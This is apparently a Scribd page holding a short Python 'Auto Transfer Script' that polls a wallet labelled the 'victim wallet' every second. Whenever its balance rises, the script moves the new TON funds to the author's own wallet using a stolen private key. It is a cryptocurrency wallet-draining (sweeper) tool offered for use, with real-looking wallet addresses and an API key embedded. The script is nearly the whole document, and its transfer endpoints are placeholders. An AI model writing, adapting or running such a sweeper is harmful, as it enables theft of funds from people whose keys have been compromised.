[go: up one dir, main page]

0% found this document useful (0 votes)
18 views2 pages

Auto Transfer Script

Uploaded by

103.mkhan
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
18 views2 pages

Auto Transfer Script

Uploaded by

103.mkhan
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 2

import requests

import time
import os

# Your API key


api_key = "AEH4SGSOHHMDU5YAAAAAXG5QDIK2MAZK3OG5EGNGZBGSMHSW4I7MH3I4SGHUEQAQ7PY2S4I"

# Victim wallet to monitor


victim_wallet = 'UQBs4VHZl1x7npIQ_gqS05gyRLNqE9UUblKujkuGi18XHHlP'

# Your secure wallet where the funds should be transferred


secure_wallet = 'UQBdRqx410kbOK2714UcM6rybKufBDOl1RSmTdoWr7E3aGht'

# Get private key from environment variable


private_key = os.getenv('PRIVATE_KEY')

if not private_key:
raise Exception("Private key not found! Please set it as an environment
variable.")

# Function to get the balance of the victim wallet


def get_balance(wallet_address):
url = f"https://api.example.com/v1/accounts/{wallet_address}/balance" #
Replace with actual API URL
headers = {'Authorization': f'Bearer {api_key}'}

response = requests.get(url, headers=headers)


if response.status_code == 200:
return response.json().get('balance', 0)
else:
print(f"Error fetching balance for {wallet_address}: {response.text}")
return None

# Function to sign and transfer funds using the private key


def transfer_funds(from_wallet, amount):
url = "https://api.example.com/v1/transfer" # Replace with actual transfer
endpoint
headers = {'Authorization': f'Bearer {api_key}'}
data = {
'from': from_wallet,
'to': secure_wallet,
'amount': amount,
'private_key': private_key # Use private key from environment variable
}

response = requests.post(url, json=data, headers=headers)


if response.status_code == 200:
print(f"Successfully transferred {amount} TON from {from_wallet} to
{secure_wallet}")
else:
print(f"Transfer failed: {response.text}")

# Monitor the victim wallet every second


def monitor_victim_wallet():
print("Monitoring victim wallet...")
last_balance = get_balance(victim_wallet)

while True:
current_balance = get_balance(victim_wallet)
if current_balance and current_balance > last_balance:
# Transfer the new funds (difference between last and current balance)
new_funds = current_balance - last_balance
transfer_funds(victim_wallet, new_funds)
last_balance = current_balance
time.sleep(1) # Wait 1 second before checking again

# Start monitoring
monitor_victim_wallet()

You might also like